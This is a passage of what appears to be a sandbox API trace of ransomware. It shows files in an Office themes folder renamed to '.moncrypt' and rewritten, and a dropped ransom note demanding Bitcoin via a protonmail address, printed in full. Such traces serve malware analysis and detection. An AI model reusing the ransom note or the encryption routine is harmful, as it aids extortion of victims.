lpLocalFileTime=0x18ea88) returned 1 [0051.078] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.078] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.078] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.078] GlobalUnlock (hMem=0x44000c) returned 0 [0051.078] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.078] GlobalLock (hMem=0x440004) returned 0x557b88 [0051.078] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.078] GlobalUnlock (hMem=0x44000c) returned 0 [0051.078] GlobalHandle (pMem=0x557b88) returned 0x440004 [0051.078] GlobalUnlock (hMem=0x440004) returned 0 [0051.078] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.078] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0051.079] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d58*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d58*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0051.080] CloseHandle (hObject=0x18c) returned 1 [0051.080] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\я")) returned 1 [0051.081] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xede9bc00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51c50cb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xede9bc00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xba44, dwReserved0=0x0, dwReserved1=0x0, cFileName="CASCADE.ELM", cAlternateFileName="")) returned 0x54e240 [0051.081] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0051.081] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0051.081] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0051.081] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM", dwFileAttributes=0x20) returned 1 [0051.083] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0051.083] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.elm.moncrypt")) returned 1 [0051.083] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.elm.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0051.083] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0051.083] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0xba44 [0051.083] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0051.084] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0051.086] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.086] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0051.086] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0051.086] GlobalUnlock (hMem=0x44000c) returned 0 [0051.086] GlobalReAlloc (hMem=0x44000c, dwBytes=0x4000, uFlags=0x2) returned 0x44000c [0051.086] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0051.086] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0051.086] GlobalUnlock (hMem=0x44000c) returned 0 [0051.086] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0051.086] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0051.086] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.086] GlobalUnlock (hMem=0x440004) returned 0 [0051.086] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0051.086] GlobalUnlock (hMem=0x44000c) returned 0 [0051.086] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.087] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.087] GlobalUnlock (hMem=0x44000c) returned 0 [0051.087] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0051.087] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.087] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.087] GlobalUnlock (hMem=0x44000c) returned 0 [0051.087] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0051.087] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0051.087] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0051.087] SetFilePointer (in: hFile=0x18c, lDistanceToMove=47684, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0xba44 [0051.087] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0051.087] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0051.087] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d68*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d68*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0051.098] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0051.098] CloseHandle (hObject=0x18c) returned 1 [0051.099] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.elm.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0051.099] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0051.099] CloseHandle (hObject=0x18c) returned 1 [0051.100] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM.moncrypt", dwFileAttributes=0x20) returned 1 [0051.100] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0051.100] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.100] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.100] GlobalUnlock (hMem=0x44000c) returned 0 [0051.100] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.100] GlobalLock (hMem=0x440004) returned 0x557b88 [0051.100] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.100] GlobalUnlock (hMem=0x44000c) returned 0 [0051.100] GlobalHandle (pMem=0x557b88) returned 0x440004 [0051.100] GlobalUnlock (hMem=0x440004) returned 0 [0051.100] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0051.100] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x557b88, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1e6a018, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x5000c4, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0051.101] GetLastError () returned 0x2 [0051.101] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0051.102] WriteFile (in: hFile=0x18c, lpBuffer=0x1dccd48*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18e9e4, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesWritten=0x18e9e4*=0x649, lpOverlapped=0x0) returned 1 [0051.103] CloseHandle (hObject=0x18c) returned 1 [0051.103] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51c50cb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x262, dwReserved0=0x0, dwReserved1=0x0, cFileName="CASCADE.INF", cAlternateFileName="")) returned 1 [0051.103] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.103] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.103] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.103] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.103] GlobalUnlock (hMem=0x440004) returned 0 [0051.104] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.104] GlobalLock (hMem=0x44000c) returned 0x557b88 [0051.104] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.104] GlobalUnlock (hMem=0x440004) returned 0 [0051.104] GlobalHandle (pMem=0x557b88) returned 0x44000c [0051.104] GlobalUnlock (hMem=0x44000c) returned 0 [0051.104] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.104] CharLowerBuffW (in: lpsz="CASCADE.INF", cchLength=0xb | out: lpsz="cascade.inf") returned 0xb [0051.104] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.104] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.104] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.104] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.104] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.104] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.104] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.104] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.104] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.104] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.104] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.104] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0051.104] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF", cchWideChar=75, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF", lpUsedDefaultChar=0x0) returned 75 [0051.105] CharLowerBuffW (in: lpsz=".INF", cchLength=0x4 | out: lpsz=".inf") returned 0x4 [0051.105] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".inf", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".infShared\\THEMES14\\CASCADE\\CASCADE.INF", lpUsedDefaultChar=0x0) returned 4 [0051.105] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x553, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0051.105] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.105] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.105] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.105] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.105] GlobalUnlock (hMem=0x44000c) returned 0 [0051.105] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.105] GlobalLock (hMem=0x440004) returned 0x557b88 [0051.105] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.105] GlobalUnlock (hMem=0x44000c) returned 0 [0051.105] GlobalHandle (pMem=0x557b88) returned 0x440004 [0051.105] GlobalUnlock (hMem=0x440004) returned 0 [0051.105] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.105] CharLowerBuffW (in: lpsz="PREVIEW.GIF", cchLength=0xb | out: lpsz="preview.gif") returned 0xb [0051.105] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.105] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.105] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.105] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.105] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.105] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.106] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.106] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.106] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.106] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.106] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.106] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0051.106] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF", cchWideChar=75, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF", lpUsedDefaultChar=0x0) returned 75 [0051.106] CharLowerBuffW (in: lpsz=".GIF", cchLength=0x4 | out: lpsz=".gif") returned 0x4 [0051.106] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".gif", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".gifShared\\THEMES14\\CASCADE\\PREVIEW.GIF", lpUsedDefaultChar=0x0) returned 4 [0051.106] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4f93, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0051.106] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.106] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.106] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.106] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.106] GlobalUnlock (hMem=0x440004) returned 0 [0051.106] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.106] GlobalLock (hMem=0x44000c) returned 0x557b88 [0051.106] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.106] GlobalUnlock (hMem=0x440004) returned 0 [0051.106] GlobalHandle (pMem=0x557b88) returned 0x44000c [0051.106] GlobalUnlock (hMem=0x44000c) returned 0 [0051.106] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.107] CharLowerBuffW (in: lpsz="THMBNAIL.PNG", cchLength=0xc | out: lpsz="thmbnail.png") returned 0xc [0051.107] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.107] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.107] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.107] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.107] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.107] WideCharToMultiByte (in: 